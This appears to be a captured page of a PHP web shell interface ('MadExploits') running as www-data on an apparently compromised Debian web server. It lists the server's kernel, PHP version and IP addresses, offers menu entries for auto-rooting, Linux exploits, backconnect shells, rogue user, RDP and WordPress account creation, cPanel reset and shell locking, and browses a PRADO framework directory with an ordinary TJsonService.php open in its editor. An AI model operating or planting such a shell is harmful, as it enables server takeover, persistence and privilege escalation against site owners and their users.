Linux polon 4.19.0-27-amd64 #1 SMP Debian 4.19.316-1 (2024-06-25) x86_64
Apache/2.4.59 (Debian)
: 10.2.73.233 | : 18.119.142.113
Cant Read [ /etc/named.conf ]
5.6.40-64+0~20230107.71+debian10~1.gbp673146
www-data
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
ifk /
web /
prado4.3.2 /
Web /
Services /
[ HOME SHELL ]
Name
Size
Permission
Action
IFeedContentProvider.php
1.32
KB
-rw-r--r--
TFeedService.php
4.33
KB
-rw-r--r--
TJsonResponse.php
1.19
KB
-rw-r--r--
TJsonRpcProtocol.php
4.42
KB
-rw-r--r--
TJsonService.php
4.66
KB
-rw-r--r--
TPageConfiguration.php
12.35
KB
-rw-r--r--
TPageService.php
19.1
KB
-rw-r--r--
TRpcApiProvider.php
2.34
KB
-rw-r--r--
TRpcException.php
640
B
-rw-r--r--
TRpcProtocol.php
2.61
KB
-rw-r--r--
TRpcServer.php
1.72
KB
-rw-r--r--
TRpcService.php
6.21
KB
-rw-r--r--
TSoapServer.php
8.4
KB
-rw-r--r--
TSoapService.php
9.04
KB
-rw-r--r--
TXmlRpcProtocol.php
2.63
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : TJsonService.php
<?php /** * TJsonService and TJsonResponse class file. * * @author Wei Zhuo <weizhuo[at]gamil[dot]com> * @link https://github.com/pradosoft/prado * @license https://github.com/pradosoft/prado/blob/master/LICENSE */ namespace Prado\Web\Services; use Prado\TApplication; use Prado\Prado; use Prado\Exceptions\TConfigurationException; use Prado\Exceptions\THttpException; use Prado\Web\Javascripts\TJavaScript; /** * TJsonService class provides to end-users javascript content response in * JSON format. * * TJsonService manages a set of {@link TJsonResponse}, each * representing specific response with javascript content. * The service parameter, referring to the ID of the service, specifies * which javascript content to be provided to end-users. * * To use TJsonService, configure it in application configuration as follows, * <code> * <service id="json" class="Prado\Web\Services\TJsonService"> * <json id="get_article" class="Path\To\JsonResponseClass1" .../> * <json id="register_rating" class="Path\To\JsonResponseClass2" .../> * </service> * </code> * where each JSON response is specified via a <json> element. * Initial property values can be configured in a <json> element. * * * PHP configuration style: * <code> * 'services' => array( * 'get_article' => array( * 'class' => 'Path\To\JsonResponseClass1', * 'properties' => array( * ... * ) * ) * ) * </code> * * To retrieve the JSON content provided by "get_article", use the URL * <code>index.php?json=get_article</code> * * @author Wei Zhuo <weizhuo[at]gmail[dot]com> * @author Carl G. Mathisen <carlgmathisen@gmail.com> * @since 3.1 */ class TJsonService extends \Prado\TService { /** * @var array registered services */ private $_services = []; /** * Initializes this module. * This method is required by the IModule interface. * @param mixed $xml configuration for this module, can be null */ public function init($xml) { $this->loadJsonServices($xml); } /** * Load the service definitions. * @param mixed $config configuration for this module, can be null */ protected function loadJsonServices($config) { if ($this->getApplication()->getConfigurationType() == TApplication::CONFIG_TYPE_PHP) { if (is_array($config)) { foreach ($config['json'] as $id => $json) { $this->_services[$id] = $json; } } } else { foreach ($config->getElementsByTagName('json') as $json) { if (($id = $json->getAttribute('id')) !== null) { $this->_services[$id] = $json; } else { throw new TConfigurationException('jsonservice_id_required'); } } } } /** * Runs the service. * This method is invoked by application automatically. */ public function run() { $id = $this->getRequest()->getServiceParameter(); if (isset($this->_services[$id])) { $serviceConfig = $this->_services[$id]; if ($this->getApplication()->getConfigurationType() == TApplication::CONFIG_TYPE_PHP) { if (isset($serviceConfig['class'])) { $service = Prado::createComponent($serviceConfig['class']); if ($service instanceof TJsonResponse) { $properties = $serviceConfig['properties'] ?? []; $this->createJsonResponse($service, $properties, $serviceConfig); } else { throw new TConfigurationException('jsonservice_response_type_invalid', $id); } } else { throw new TConfigurationException('jsonservice_class_required', $id); } } else { $properties = $serviceConfig->getAttributes(); if (($class = $properties->remove('class')) !== null) { $service = Prado::createComponent($class); if ($service instanceof TJsonResponse) { $this->createJsonResponse($service, $properties, $serviceConfig); } else { throw new TConfigurationException('jsonservice_response_type_invalid', $id); } } else { throw new TConfigurationException('jsonservice_class_required', $id); } } } else { throw new THttpException(404, 'jsonservice_provider_unknown', $id); } } /** * Renders content provided by TJsonResponse::getJsonContent() as * javascript in JSON format. * @param mixed $service * @param mixed $properties * @param mixed $config */ protected function createJsonResponse($service, $properties, $config) { // init service properties foreach ($properties as $name => $value) { $service->setSubproperty($name, $value); } $service->init($config); //send content if not null if (($content = $service->getJsonContent()) !== null) { $response = $this->getResponse(); $response->setContentType('application/json'); $response->setCharset('UTF-8'); //send content $response->write(TJavaScript::jsonEncode($content)); } } }
Close